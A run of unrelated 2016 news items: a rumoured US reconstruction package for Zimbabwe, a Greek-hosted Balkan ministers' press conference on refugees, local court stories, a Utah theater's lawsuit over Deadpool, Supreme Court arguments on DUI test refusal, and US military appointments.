Cologne/Stockholm/Harare - The U.S government is reportedly mooting to unveil a multi-billion dollar economic reconstruction package of up to US$2 billion for Zimbabwe, to resuscitate her economy which has been in a tailspin for over a decade, Spotlight Zimbabwe reported.The potential lifeline, according to an informed Scandinavian banker who has previously worked in the country, including South Africa and Zambia under diplomatic business is only going to be made available by Washington, if Harare holds free and fair elections with a democratically elected regime in power, which could be an inference to the aftermath of the make or break 2018 presidential and parliamentary elections, where the ruling Zanu PF party is expected to suffer defeat to a grand coalition of opposition parties, likely to be collectively led by MDC-T leader and former prime minister, Morgan Tsvangirai together with interim Zimbabwe People First president, Joice Mujuru.Finance minister Patrick Chinamasa and Reserve Bank of Zimbabwe (RBZ) governor John Mangudya were in Washington for the International Monetary Fund (IMF) and World Bank annual spring meetings, which ended last Sunday, and it was not apparent yesterday, if the duo are aware of this seemingly closely guarded development, outside their official trip, ahead of an important IMF board meeting scheduled for May 2, to decide the fate of Harare's arrears clearance strategy, expected to facilitate the country's re-integration into the global finance community.Harare last year tabled proposals to clear US$1, 8 billion in arrears to the World Bank, IMF and the African Development Bank (AfDB) by June this year during IMF and WB annual meetings in Lima, Peru.The mooted reconstruction package for the country, is reminiscent of The Marshall Plan, also known as the European Recovery Program, ERP, said the banker, which was an American initiative to aid Western Europe with approximately $130 billion in current dollar terms in economic support to help shattered economies after the end of World War II.Like the Marshall plan, Washington is said to be aiming to help in modernising Zimbabwe's run-down industry, and to increase productivity while also encouraging sustainable sound economic policies.It also has come to light, for the first time in confidential disclosures that the Zimbabwe economic reconstruction initiative, has been flying around since the presidency of George W. Bush and was tabled around 2005, and began to take shape under current leader Obama, who reportedly further discussed the "reconstruction package" when he met Tsvangirai, while he was still prime minister during the coalition administration with Mugabe on 12 June 2009, amid anticipation that the MDC-T leader was going to sweep to power in 2013.In 2002 and 2003, the United States imposed targeted measures on Zimbabwe, including financial and visa sanctions against selected individuals, a ban on transfers of defence items and services, and a suspension of non-humanitarian government-to-government assistance.Bush went on to freeze the assets of Mugabe and 76 other government officials, charging they had undermined democracy, through an executive order, saying: "Mugabe's policies constitute an unusual and extraordinary threat to . . . the United States, and I hereby declare a national emergency to deal with that threat."The targeted sanctions still remain in place, and are up for review later this year."America does not want Zimbabwe to fail, for complex geo-political reasons," said the banker. "The issue of the reconstruction package according to my information while I was there (Harare and Pretoria), started gathering momentum around 2005, when South African President Thabo Mbeki, met with Bush at the Oval Office in June of that year, prior to a G8 summit that was held in Scotland. Obviously they discussed agendas related to South Africa, but Zimbabwe also came into focus as Mbeki was trusted as the point-man on Zim. Diplomats close to the issue at the time said there is a possibility of US$2 billion being granted to a new government for the economic reconstruction of your beautiful country. Zimbabwe is not small as you might think. That country is in a big way influencing the foreign policy of many African governments towards the U.S and Europe. I'm positive this package will be unlocked, when the opposition takes power, because they will be less tempted to embezzle it, unlike what you are having now."Calls to the U.S Embassy in Harare were not being answered by late afternoon yesterday, and earlier in the week an official with the Public Affairs Section, who declined to be named said such a story for political reasons is difficult to confirm."Confirmation of this story is very difficult, because it involves many players and everyone at the moment is concentrating on the upcoming presidential elections in the US coming in November. There have been such reports during Ambassador Christopher William Dell's tenure, but I guess this information is still classified."Former finance minister and opposition leader of the People's Democratic Party (PDP), Tendai Biti, told Spotlight Zimbabwe, that he did not see the so-called reconstruction package materializing and did not want to be involved in speculation."It is highly unlikely (the economic package)," said Biti. "Let us wait and see what happens in America first, because they are having elections soon. I don't see a person like Donald Trump or Ted Cruz caring about Africa or Zimbabwe. Let's just wait."
Today marks three years since the abduction of two Bishops of Aleppo, Syria  Metropolitan Paul of Aleppo and Syrian Orthodox Metropolitan John  the locating of whom has not yet been possible.

The Foreign Ministry remains at the side of their Churches and of their loved ones, and it will not cease to support the efforts to locate them and secure their release.
Foreign Minister Nikos Kotzias had a bilateral meeting in Thessaloniki today, on the margins of the quadrilateral meeting on cross-border cooperation, with the Foreign Minister of Albania, Ditmir Bushati.



The subject of their talks included bilateral political and economic relations and cooperation in regional and multilateral organizations. Mr. Kotzias also accepted an invitation extended by his Albanian counterpart to visit Tirana on a date to be determined via diplomatic channels.
Foreign Minister Nikos Kotzias had a bilateral meeting in Thessaloniki today, on the margins of the quadrilateral meeting on cross-border cooperation, with the Foreign Minister of the Former Yugoslav Republic of Macedonia, Nikola Poposki.



They discussed issues concerning bilateral political and economic relations, the course of the implementation of the Confidence-Building Measures and political consultations, as well as the problems of the region.
N. KOTZIAS: I would like to welcome you to this first meeting of the Ministers of Foreign Affairs and Ministers of Interior of the four neighboring countries of Greece in Southern Balkans, in Southeastern Europe.



I had the pleasure to have with me at this meeting my three counterparts and the four Ministers of Interior. Our discussion was about the cooperation among the four countries, the need to combat criminal networks, negative networks, in order to develop and promote the positive, creative networks in the future.



We feel the need to help towards the institutional development of our countries and ensure financing, the need to promote good governance in all countries of the region and strong democratic institutions.



We have all agreed that we find ourselves in a process of reconstruction for tackling the major problems of our times, especially the refugee issue. We are learning how to better organize our cooperation and our coordination in an active way, in an effective way, in solidarity, based on our common democratic values.



We all want to cooperate in order to record and control the routes for the movement of populations, in the struggle against trafficking and networks of trafficking, to work together in order to find the correct mechanism for legal migration and how to tackle long-term problems.



Yesterday, our discussion was moderated by the Ministers of Foreign Affairs and the meeting we had today was moderated by the Ministers of Interior. We all agreed to the following.



First of all, this meeting is beneficial and we all agreed to turn it into a permanent institutional mechanism of cooperation, which will convene every six months, at least, and, if necessary, on an extraordinary basis.



We also agreed that this mechanism, besides the level of Ministers, and in order to optimize collaboration at our ministerial meetings, should be held at least at the level of directors and of experts and specialists.



This was the case when we had the meeting in Athens, last week, between the Secretary Generals of the Ministers of Foreign Affair and the Police Directors of Albania, Italy and Greece.



We also agreed that this cooperation of ours aims at having common principles, based on humanitarian principles, on humanism, on appreciating the different and the other, on safeguarding the security and safety of our citizens and on the stabilization of Southeastern Europe.



We all have to develop solidarity amongst us and mutual understanding, as well. We need further communication and frequent clarifications. And we will use all potential media and means that we have for this communication. For example, video conferencing and teleconferencing, in order to promote good neighbourliness, the creation of joint centers, like the center of Tripartite Cooperation among Greece, Bulgaria and Turkey.



We all agreed that we should contribute to the reform of the provisions in the Dublin Treaty. And that we should use NGOs in an organized way. Because NGOs can offer a lot, but we should make a list of these NGOs, in order to have a more coordinated evaluation of these NGOs.



We agreed that we should have special measures to support special social categories and groups. Especially unescorted children, that is children with no families, that move around our countries or children that lose their families while they are moving.



To make our work successful, we agreed that we should support common and joint policies concerning Jordan and Lebanon. We should support the development of strategies regarding these countries from the point of view of the European Union and contribute, with all of our power, to the stability of Egypt. Because its geographical position, its geographical size, the fact that it has a population of over 97 million, of whom two thirds are young people, make it a very critical player in the future of the region.



We also agreed that we need to coordinate, by all possible means, with coordination and communication, our control and our common action on the borders towards the return and relocation of the people moving in this region.



We also highlighted the need to distinguish, institutionally, between refugees and economic migrants, whose rights  and the manner in which they are dealt with  are not always the same.



In the meeting we had today, in the Interior Ministers meeting we underlined the need for further cooperation among the intelligence services of the four countries that participated in the meeting.



We need to exchange information that has to do with the fight against organized crime and human trafficking.



We also looked into the agreement between the EU and Turkey from a particular point of view. We have found that at this time Turkey has been implementing this agreement successfully, I would say. The people moving from Turkey to the Greek islands have fallen in numbers.



Yet, bearing in mind that there might be some gaps in the implementation of this decision, a plan B is needed for emergency situations that might arise.



Finally, in our meeting we also talked about security and safety issues which might be the issue for our next meeting. We also talked about terrorism underscoring that the refugee issue is not related with terrorism. Terrorism has to do with illegal networks and other factors that generate it and reproduce it.



Thank you very much for your attention.



I would like to thank once again my counterparts and my colleagues from the three neighbouring countries. I would like also to thank all four of them, and Mr. Toskas, for their participation in this meeting.



I would like also to thank the directorates of our Ministry, the political directorate in particular, the Information Department, the Protocol Department, who made this successful meeting possible in a relatively short time.



I would like also to thank our directorate here in Thessaloniki. I would like to thank the personnel of this hotel for hosting us and for providing the best services to us in a very touching way.



Finally, I would like also to thank the reporters and journalists who showed interest and acknowledged the value of this meeting.



As far as I know, Mr. Efthymiou, the journalists of each country will have the possibility to ask one question. Mr. Efthymiou is our Ministrys new spokesperson. You have the floor, Mr. Efthymiou.



Finally I would like to thank in particular the presence of the Dutch Presidency, thank you very much for being here, it is an excellent Presidency, as I have said in the past. And I would like also to thank the representative of Slovakias Presidency, which is taking over after summer. Two friendly countries with excellent Ministers of Foreign Affairs and Interior, who have helped our region a great deal, as well as me personally in the cooperation we have. My fondest greetings to your ministers. Thank you very much for making the long trip to Thessaloniki.



COORDINATOR: We will take four questions, one from a journalist of each country. I thank you for saying your name and the Minister whom you are addressing.



JOURNALIST: Alexander Markou, Top Channel. At this moment, the refugee crisis is at its culmination. What is the position of the Albanian government in treating it, since we are talking about closing down the Balkan corridor and the possibility of an alternative route?



D. BUSHATI: Thank you very much for the question, although it is a little bizarre I have been asked in Albanian, now I have to respond in English, but I would like to be very clear and very precise that we have always had a coherent position concerning the migration crisis, demonstrated since October 2015, and this is not a black and white matter of opening or closing borders, receiving or not receiving refugees.



It is a commitment to become part of a European-wide solution based on solidarity and capacity. And the fact that both myself and Interior Minister are here today is a clear demonstration of our commitment to work for a European solution. This is the first.



The second element has to do with the migration tourism nexus. So these are issues which are intertwined and we need to work in both fronts, not only among our countries or among this neighborhood that is present here in Thessaloniki, but also with other countries, such as Italy and others that have been affected by the crisis, as we see that there is always a potential for shifting the routes.



And the third point that I would like to mention here once again is the need for an enhanced cooperation between European member states, on one hand, and Western Balkan countries on the other hand, that should take into account not only elements related to crisis management, but it should also offer more political certainty for our region.



Thank you.



S. TAHIRI: I will add just one point. As my colleague had three points, so thanking also Nikos, I think we have the huge challenge to cooperate with one another, and practically we are obliged to cooperate.



What we have done so far has been serving only as a symbol to show us that the room to cooperate much more than what we have done until now is quite huge. We have to be able to guarantee the right balance between our common values, solidarity and humanity, but also security. Not allowing terrorist elements to use the flows of immigrants, threatening our societies.



With the only concern of mine, which Ive had the chance to exchange our views with the Greek Interior Minister, we should be effective. Bureaucracy is able to kill all our initiatives. And we should succeed, first and foremost, on our capacity to kill bureaucracy. And then to be able to collaborate together for the sake of our citizens in all the countries.



Immigrants are coming from an EU country, which is Greece, to non-EU countries, to go back to another EU country. And this is the right moment and the right chance to show, jointly, that we have the common destination, the common challenge. And we should find common solutions, European solutions, towards this challenge and others.



Thank you.



COORDINATOR: Next question, please.



JOURNALIST: My name is Tonia Dimitrova, Bulgarian National Television. My question is to Mr. Mitov. Youve discussed the national support for the migrants and refugees. Could you be, at this time of moment, more specific, what kind of financial support could you and what form, in what form would this financial support will be for the migrants and the refugees.



Thank you.



D. MITOV: Im not really sure what exactly has been transmitted during the translation. What we have discussed actually is to try and somehow unify our position when it comes to financial support towards the people from the European instruments towards the people who are already here, who are already in the European Union, in the framework, thats one thing.



And second, especially when it comes to Greece. Because Greece is bearing a lot of responsibilities right now. A lot of burden. We need to focus in our efforts, in order to help Greece to manage this unprecedented situation. Thats one thing.



Second. Minister Kotzias already said, what we need to do is to clearly distinguish between refugees and economic migrants. The first category of people, refugees, for them there is the relocation mechanism and also we need to provide them with all the instruments for international protection. We have certain type of responsibilities towards those people.



But when it comes to economic migrants, theres very different approach. And here comes the policy of return and readmission. We need to be very firm in that regard and we need to keep in mind that when it comes to economic migration, there are legal ways to do that. And that is a controlled process.



Cooperation with third countries is extremely important, in order for those countries to be cooperative in receiving back their own citizens, who have irregularly crossed the borders of European Union countries. And that is something which I think everyone agrees around, that this type of policies need to be not only responsibility of the Member-States, the Nation-States, but also that it needs to be lifted up to the European Union level.



So, the European Union diplomacy, the European Union action service needs to engage. And it does, already. Thanks to the Dutch Presidency, this type of instrument has been already put in place and a lot of initial work has been already done in that regard.



We have a lot more to do. But the return and repatriation policies are of primary importance when it comes to distinguishing the two categories of people.



I have said it before and I will say it once again, we have certain type of responsibilities towards refugees. Our social systems, our education systems are not going to withhold large, or absorb even, large numbers of inflowing people.



So that is why we need to be very much in control of the process.

The agreements between the European Union and Turkey gives a lot of hope, thus we have taken a first and very important step towards the control and the management of our borders, of our external borders.



We need to look at the European Union as one whole, as a union indeed. The Union has external borders and we need to concentrate our efforts towards exactly that dimension.



And of course we have talked a lot about the fight against human smuggling. That is the ugly phenomenon which basically assists this type of illegal and irregular crossing of borders of indiscriminate numbers of people.



The human smugglers have their networks from their very first till the very last points on the routes of the migration. And we need to take care of all networks, all those criminal networks which are active inside the European Union, inside the country members of the European Union and of course inside the partner countries who are with candidate intentions.



This regional cooperation is extremely important and that is why we are extremely grateful to the Greek initiative to manage this forum, to organize and start the dialogue around the border management, around the fight against human smuggling. And of course contingency planning if, we hope not of course, but if that EU-Turkey agreement doesnt hold, we need contingency planning and Minister Kotzias was very explicit about it.



Thank you.



COORDINATOR: Next question, please.



JOURNALIST: Jasmin Tasefska, Macedonian State News Agency. My question to Minister Poposki.



Minister, whether and to what extend the migration crisis has affected the relations between the four countries and in the region in general?



N. POPOSKI: First of all we believe that this is a good format that has been conveyed now on the topic of the migration. But we feel it is a good format for a number of other issues that we can be dealing with in the future.



Obviously because of the reality on the ground we wouldnt be able to say that this migration crisis affects our relations towards east and west, meaning Albania and Bulgaria, to the same extend as it does on the south on the Greek borders, because we have the reality of tens of thousands migrants that are stationed there.



So the parallel cannot be drawn on all sides. And obviously it is easier to cooperate with both of our neighbors where we dont have these masses of migrants coming in.



Considering the situation and the reality and the gravity of it on the corridor south north, meaning all the migrants that are now crossing into Greece from Turkey and continuing their road upstream, I have to say that in 2016 we have moved in a situation where we do have a cooperation. We have seen 2015 without any cooperation whatsoever.



This year we have established our communication channels. There is a serious improvement both on the side of the Ministry of Interior and at the diplomatic channels on communicating on these issues.



It doesnt mean that automatically everything will be resolved, but we have to be conscious that still today activists, NGOs and human smugglers are cooperating across boarders in an easier manner than state institutions do.



And I think that one of the messages that we are sending from these meetings is that we are going to coordinate our efforts, we are going to try to avoid having solutions which are at the expense of only one country. And in this case I think that we both have to send the clear message, this is our role, this is how our government sees it, we have to send the clear message that the road through the Balkans for the migrants is not going to see the same evolution as it has in 2015, but on the other side Greece should not be left to deal on its own with tens of thousands of migrants that are on Greek territory right now, and for that we need to work on readmission and relocation. And I think that pretty much everyone around this table, and it is very good to see the Dutch Presidency of the European Union present here, that we need to focus that this situation does not last for any longer.



There is an EU plan. It might not be the perfect one, but it is definitely the only one that we have on the table and each one of us has to make sure that it works.



Our bilateral relations are going to continue beyond the migration crisis. The migration crisis is perhaps only an opportunity to show to each other that we are dedicated to building good relations in the long run, and we have that responsibility.



Thank you.



COORDINATOR: Last question, please.



JOURNALIST: Spyros Sideris. I am from the Independent Balkan News Agency.



I would like to ask questions to Mr. Kotzias and Mr. Toskas, and I think my question has to do with the other ministers.



You said that the prospects are positive concerning this meeting of the four countries. Is there a common ground for cooperation at the moment, when there are differences among some countries? Could these differences become barriers to this effort? How important is the stability in the region?



Mr. Toskas, is it possible to have cooperation on an issue that has to do with national security and national security issues?



N. KOTZIAS: Thank you for the question. I would like also to thank once again the Ministers from Bulgaria, Albania, from the Former Yugoslav Republic of Macedonia. I would like to thank the current and future presidencies from the Netherlands and the Slovak Republic.



I would like to make a statement about foreign affairs in general. Foreign policy should have specific characteristics. Foreign policy is not mass media. Foreign policy is not everyday activism, which I love and I adopt. Foreign policy is not political opposition discourse.



Foreign policy should have stability, certainty and should be flexible; it should be serious, it should be composed, it should be exercised in a sober way and in a decisive way whenever that is necessary.



I am saying this because, often in a great number of EU member-states, and in our country sometimes, we lose this clear way of thinking and sober way of thinking, in order for one person or another to create a soundbite or two seconds on a TV channel.



TV channels and newspapers do their jobs, but ministers of foreign affairs shouldnt be interested only in promoting themselves, but they should try to promote a good climate of cooperation and stability with other countries, and mainly their neighbors.



Consequently, our policy  and I believe that this is the policy of the Ministers from the other states as well  is that foreign policy should try to overcome problems and should try to find a solution to them, and find common solutions in order to improve the lives of peoples and states.



In national defense the medium is weapons, whereas in foreign policy the medium that we use is negotiations. And I would like to believe  as a kind of expert, both academically and from a professional standpoint, not just as Minister for foreign policy  that negotiations, the potential for the diplomatic resolution of problems, is the strongest of any means.



Do we have differences with other countries? Yes, we do have, but there are different points of views within each country. Could we overcome these differences? If we want to overcome them, what is needed is creative solutions and good personal relations and desire to find a solution.



As you know, we exercise a proactive foreign policy. We make proposals towards all sides, to Turkey, having to do with the Cyprus question, the issue of the name with our northern neighbors. And any problems that might have come up in the past or that we have to resolve for the future, with Italy, Albania, common actions with Bulgaria.



We are also preparing our next meeting in September, in the second week in September, on the island of Rhodes. And this will be a meeting among a number of EU member states and Arab countries, Mediterranean countries, and our Bulgarian friends will participate, as well. The topic of this meeting will be security and stability.



We dont have the same outlook as all of the countries that will be coming to Rhodes. We dont have the same form of political system. But we have a shared will, stability and security. And I think that today these two things are very important for the Balkan region as well  and on this basis we are moving ahead.



And the although I am the oldest Minister of Foreign Affairs in this forum, there is a strange coincidence, that three of the Ministers here are born in 1977. I want to say that we have very, very good, friendly and creative interpersonal relations, which support and contribute to  in my opinion  the seeking of the solutions that I described earlier.



And I think our meetings today and yesterday contributed to our having relations of sincerity, trust, to our not being suspicious of one another, be aware that we have differences. Truly.



Diplomacy means seeking means to a better life for societies and countries, ways to resolve or moderate the importance of the problems. Problems will always exist.



N. TOSKAS: During the last crises it was evident that it is necessary to have common grounds of cooperation. There are problems that have to do with each country in particular but cannot be tackled if there is no cooperation.



It was clear that we should assess the whole situation together. That we should organize our efforts and coordinate our efforts. It was also clear that we should find a balance concerning the problems and the particularities that might come up. Earlier, for example, we referred to good and some problematic NGOs.



We need to take decisions quickly. We can combine democracy, freedom and security. If there is no security we cant have democracy and freedom.



This cooperation is more necessary than ever if we want to tackle common crime. And at this meeting held on the initiative of the Foreign Ministry, it was clear that there is need to discuss face to face in order to open up ways of cooperation, because often, unfortunately, the problem doesnt wait for us; common crime does not wait for us. So we need to coordinate with one another and talk and deal quickly and decisively with the various situation.



This was a good opportunity and a good beginning for this cooperation. And naturally the effort and assistance of the European Union and the other collaborators contributed to this.
News / Local

by Stephen Jakes

Harare City Council has threatened to evict residents who are owing the local authority from the houses.This was revealed by Harare Residents Trust which said the council held a meeting at Mabvuku district office, amongst the council officials who were present was the District Officer, Doctor Wedzerai Nhemachena and Councillor Barnabas Ndira."They informed the residents of Chizhanje that those who are failing to settle their bills will be forced with the council to vacate their houses and replaced with those who are willing to pay," said the trust. "Residents of Chizhanje living in the singles reported that as it stands some residents have been forced to vacate and the new owner coming settles the payment."
News / Local

by Stephen Jakes

A Bulawayo magistrate has given a Malawian nations who overstayed in Zimbabwe three months suspended sentence before ordering that he be deported to his country immediately.Chibagali Bagga Kalumbi (35) of Mphungu Street in Lilongwe Malawi pleaded guilty to the contravention of the immigration Act by over staying when he appeared before Bulawayo magistrate Tinashe Tashaya. The magistrate convicted and sentenced him to three months in jail wholly suspended for five years on condition of good behaviour.He also ordered that he be deported to his country with immediate effect.The court heard that on April 14 this year at 7:50apm police officer Mudhura of Pumula was on patrol at Choppies Supermarket in Pumula East, when he met Kalumbi and demanded to see him travel documents only to discover that his stipulated days has expired and this led to his arrest.
News / Local

by Staff Reporter

An angry woman last week accused her lover's wife of emotionally abusing her after she was dragged and called a prostitute in front of her colleagues.In her application for a peace order at the harare Civil court Tendai Chatikodo accused Thembinkosi Dube of using social media to humiliate her."I am not at peace with Thembinkosi your worship. She harasses me over a man who no longer loves her.," she said. "My lover denied that he is still in love with her saying they finalised their divorce last year.""Right now i can not face my superiors because she came to my work place dragged me in front of my workmates and called me a prostitute," she added."I can no longer tolerate her behaviour. How come she even has the guts to embarrass me on Facebok posting saying stop prostitution with my husband."Harare magistrate Gamuchirai Siwardi granted the peace order.
Brewvies argued in court documents filed Tuesday that the Utah law unconstitutionally uses liquor rules to restrict the theater's free speech rights. The theater argued that the film is not considered obscene under state or federal obscenity laws.

Rocky Anderson, a lawyer for Brewvies, says other Utah theaters showed the film but weren't cited because they don't serve liquor.

Utah's alcohol control department filed the complaint against Brewvies after undercover officers attended a screening of Marvel's R-rated antihero film "Deadpool" in February. The film stars Ryan Reynolds as the foul-mouthed superhero.

Utah's Department of Alcoholic Beverage Control scheduled a meeting in May to discuss or possibly settle the complaint before further disciplinary action, which could include thousands in fines and the suspension or revocation of the theater's license.

The agency's Vickie Ashby declined to comment on the lawsuit or complaint.

Investigators cited a state obscenity law that is generally used to regulate alcohol and nudity at strip clubs, which are required to have dancers wearing G-strings and pasties if the club serves liquor.

The law also bans the showing of any film with sex acts or simulated sex acts, full-frontal nudity or the "caressing" of breasts or buttocks. It only applies to businesses with liquor licenses.

The undercover agents said "Deadpool" violated Utah law by showing simulated sex, including a scene in the film's credits that the agents wrote included a cartoon depicting an implied sex act on a unicorn.

Brewvies, which has been open since 1997, only allows people 21 and older to attend movies and serves food and liquor to customers.

In court documents, Anderson said Brewvies "was coerced and intimidated" by the liquor board in 2011 to paying a $1,627 fine when it was cited under the same law for showing "The Hangover Part II."

Utah's law is similar to an Idaho measure that lawmakers repealed this year when a theater sued after its liquor license was threatened for showing "Fifty Shades of Grey" while serving alcohol.

The Brewvies lawsuit was filed on the same day that Utah held a ceremonial signing of a resolution declaring pornography to be a public health crisis.

Republican Gov. Gary Herbert was asked about the Brewvies citation at the Tuesday event and said they were different issues. He said he'll allow the investigation to play out. "If it's a violation of law, then it's a violation of law," Herbert said.
The justices heard arguments Wednesday in three cases challenging North Dakota and Minnesota laws that criminalize a refusal to test for alcohol in a driver's blood, breath or urine if police have not first obtained a search warrant.

Drivers prosecuted under those laws claim they violate the Constitution's ban on unreasonable searches and seizures. State supreme courts in Minnesota and North Dakota upheld the laws.

The justices pressed lawyers representing the states on why they can't simply require police to get a warrant every time police want a driver to take an alcohol test. Justice Stephen Breyer pointed to statistics showing that it takes an average of only five minutes to get a warrant over the phone in Wyoming and 15 minutes to get one in Montana.

Thomas McCarthy, the lawyer representing North Dakota, said the state "strikes a bargain" with drivers by making consent to alcohol tests a condition for the privilege of driving on state roads.

But Justice Anthony Kennedy said the states are asking for "an extraordinary exception" by making it a crime for people to assert their constitutional rights. He expressed frustration when McCarthy refused to answer repeated questions about why expedited warrants wouldn't serve the state just as well.

Kathryn Keena, a county prosecutor representing Minnesota, suggested some rural areas may have only one judge on call, making it too burdensome to seek a warrant every time. She said even if a warrant were procured, a driver could still refuse to take the test and face lesser charges for obstruction of a warrant than for violating drunken driving test laws.

Justice Sonia Sotomayor said the state could simply change the law to make penalties more severe for obstruction.

Several justices seemed to be searching for a middle ground. Some suggested to Charles Rothfeld  the lawyer representing challengers to the laws  that requiring a breath test without a warrant might be allowed because it's far less invasive than a blood test.

Justice Elena Kagan called the breath test "about as uninvasive as a search can possibly be" and suggested it could be part of a permissible search during an arrest.

Rothfeld insisted that collecting breath was just as intrusive as collecting blood.

The Obama administration is supporting the states. Deputy Solicitor General Ian Gershengorn told the justices they should not assume warrants "are available 24/7."

"That is not the case in the real world," Gershengorn said. He said it may be the case for terrorist attacks, but not for routine drunken driving cases.

In the Minnesota case, William Bernard was arrested on suspicion of drunken driving and taken into custody and refused to take a chemical test at the police station after he was arrested. A divided Minnesota Supreme Court ruled the law was valid and that officers could have ordered a breath test without a warrant as a search conducted while performing a valid arrest.

Under the Minnesota law, a first-degree count of refusal to take a breath test carries a mandatory minimum sentence of three years in prison.

In North Dakota, refusal to take an alcohol test carries the same criminal penalties as driving under the influence. The state's highest court upheld the law against a challenge from Danny Birchfield, who was arrested after he drove his car into a ditch and failed a field sobriety test. He refused to take more tests and was convicted under the state's refusal law, which counts as a misdemeanor for a first offense.

A second case from North Dakota involves Steve Beylund, a driver who was stopped on suspicion of drunken driving and consented to a chemical alcohol test. State courts declined to suppress the evidence from that test.

Other states that criminalize a driver's refusal to take an alcohol blood test include Alaska, Florida, Hawaii, Kansas, Louisiana, Nebraska, Rhode Island, Tennessee, Vermont and Virginia.
LaVonte Dell of Inkster tells The Detroit News that he was driving Monday in Westland when he was pulled over by an officer for having tinted windows on his vehicle. He told the officer, identified by Westfield police as Joshua Scaglione, that he couldn't afford to buy a new car seat for his 3-year-old daughter, Lauren, when the officer noticed she wasn't in one.

Scaglione ultimately asked Dell to follow him to Wal-Mart so the officer could purchase a car seat for the girl with his own money.

WDIV-TV reports that Dell hugged and thanked Scaglione when the men met again Wednesday.
Washington Township Municipal Court Judge Martin Whitcraft suspended Sister Kimberly Miller's license for 90 days and fined her $257 plus fees.

Miller, 41, is a librarian and theology teacher at Little Flower Catholic School in Philadelphia. She was arrested in November 2015 after she drove her car into an auto repair shop.

Miller testified that she had a glass of wine and an Ambien before bed but woke up in handcuffs and didn't remember anything. She also said she sleepwalks and has a dissociative disorder.

Police say she had a blood-alcohol level twice the legal limit to drive. The judge tossed the blood-alcohol test from evidence because the officer did not directly observe the nun for 20 minutes before administering the test, as required.

Police also say she had slurred speech and bloodshot eyes and staggered after leaving her car. At the time of the accident, Miller was wearing her blue habit and black veil.

Miller's attorney, Jeffrey Lindy, said his client was upset by the verdict and is weighing her legal options.

"I understand the judge's ruling that New Jersey doesn't recognize the defense of pathological intoxication in DWI matters," Lindy said. "If we appeal, perhaps this is the case where we can make some new law on that issue."

Lindy said he was "stunned and in disbelief" to hear that the judge had "credibility concerns" about Miller and the owner of a children's bookstore who testified on her behalf.

Miller has been on administrative leave since the charges were filed.

"With the conclusion of court proceedings today, leadership from the Office of Catholic Education and Sister Kimberly's religious congregation will review the matter further. No change has yet been made to her status," Archdiocese of Philadelphia spokesman Kenneth Gavin said Wednesday.
HARBOR BEACH  With their leader planning to retire at the end of the 2016-17 school year, Harbor Beach school board members are in the early stages figuring out how theyll fill the superintendents position when the time comes.

Harbor Beach Superintendent Lawrence Kroswek told the Tribune the plan is to retire June 30, 2017. The board is now considering search firms to properly find a right fit for its next leader.

Charlie Andrews, of Michigan Leadership Institute, presented several options at this weeks board meeting that the institute offers to finding a superintendent. Michigan Leadership Institute has a 12-year history serving Michigan school districts.

Andrews is the regional president for East Central Michigan and has spent a number of years searching and filling vacant super positions, he told the board.

The legal basis for selecting a superintendent is pretty brief, he said. You are required to have one. A superintendent is the only employee in the district that is required under the school law in Michigan.

Andrews reviewed seven different selection options  and highlighted the pros and cons of each option  with the board. Those options include:

 Intermediate School District appointment.

 Superintendent holding dual administrative roles in the district.

 Co-superintendents.

 Share a superintendent with another district.

 Interim placement either full or part time.

 District succession planning for executive positions.

 Full time superintendent through search process.

After going over each option, Andrews presented a tentative timeline anticipated for the search  if the district were to hire MLI as its firm. The timeline appears as follows:

 Week 1: Meet with school board to gather background information, establish parameters of search, and agree upon a timeline and budget.

 Week 2: Meet with board, designated staff and community groups to develop organization profile and community profile.

 Weeks 3-8: Post position, places ads and accept applications until an agreed end date.

 Week 9: Applicant screening and reference checks.

 Week 10: Presentation of applicants and determination by board of candidates to interview.

 Week 10-11: Conduct initial interviews.

 Week 11: If necessary, board visits finalists worksites.

 Week 12: Select a superintendent, negotiate an agreement and appoint the new leader.

The board questioned the best time to post the job, at which Andrews explained sometime during the winter holidays.

People who are looking, are starting to get their resumes together and sending them out during midwinter break, he said.

Next month, the board will hear from Tom White, of the Michigan Association of School Boards, and the services offered during a superintendent search before it decides on a search firm, if any.
News / Local

by Staff Reporter

An old woman from Harare has taken her grandson to court seeking a peace order after he allegedly insulted her calling her a witch and threatening her with death.Bernadette Mafera took Terence Mukatimurwa to Harare Civil court accusing him of emotional and verbal abuse."Terence is my grandson but i can no longer stand his abusive behaviour. He does not appreciate everything i did for him since his parents death but harasses and humiliate me in front of the whole family," she said.Magistrate Gamuchirai Siwardi granted protection order in Bernadette's favour.
The chief of the Army Reserve said Thursday his component is "falling behind" the National Guard and active force in having up-to-date equipment.

Lt. Gen. Jeffrey Talley told an audience that his portion of the Army's equipment modernization budget is less than half of what it was prior to the terrorist attacks of Sept. 11, 2001.

"Pre-9/11, the Army Reserve had about six percent of the equipment-modernization budget; I am less than three percent today," he told an audience at a breakfast hosted by the Association of the United States Army, an advocacy group based in Arlington, Virginia.

"We are falling behind the other two components in equipment modernization," he said.

This is important, Talley said, when talking about mission command systems.

"I need to plug and play with our Army National Guard and our regular Army, and I can't because 75 percent of all our mission command systems aren't interoperable because of a lack of modernization, whether it's hardware, software -- actually it's a combination of both," he said.

"The good news is the Army staff gets it; I am on the Army staff, so my peers get it, the chief of staff gets it and people are working hard to try to help us resolve some of those challenges," he added.

Talley also said that about one third of the Reserve needs more training than the mandatory 39 training days a year to support the active force and National Guard in a major contingency operation.

"I must have more training days to generate higher levels of readiness or the Army will fail in a mission," he said. "Not for everyone, but for that portion of the force that I must have at a higher level of readiness, and I am going to define those as set-the-theater, early-entry forces."

Chief of Staff of the Army Gen. Mark Milley has been considering a similar proposal for the National Guard.

Increasing the training days for a portion of the Reserves would require more operational-tempo funding, Talley said.

"I don't necessarily think we absolutely across the entire Army Reserve want to say it's no longer 39 training days, it's 45 days,' but there are certain units that will need more training time," he said. "The short answer is I do need more training days, but I don't need it for the entire force."

Talley admitted he is concerned that this will create the perception in the Army Reserve that there are "have and have-not units."

"I don't want people to say I don't want to go to this unit or this unit because they are kind of a second-class unit in terms of how we are perceived and how we are resourced,'" he said.

-- Matthew Cox can be reached at matthew.cox@military.com.
Air Force Gen. Lori Robinson on Thursday appeared headed to swift confirmation as the first woman to head a combatant command as the next dual-hat commander of U.S. Northern Command and the North American Aerospace Defense Command.

"I look forward to moving your nominations through the U.S. Senate," Sen. John McCain, chairman of the Senate Armed Services Committee, told both Robinson and Army Gen. Curtis M. Scaparrotti, the nominee to be the next Supreme Allied Commander of NATO and U.S. European Command, at the end of their joint confirmation hearing.

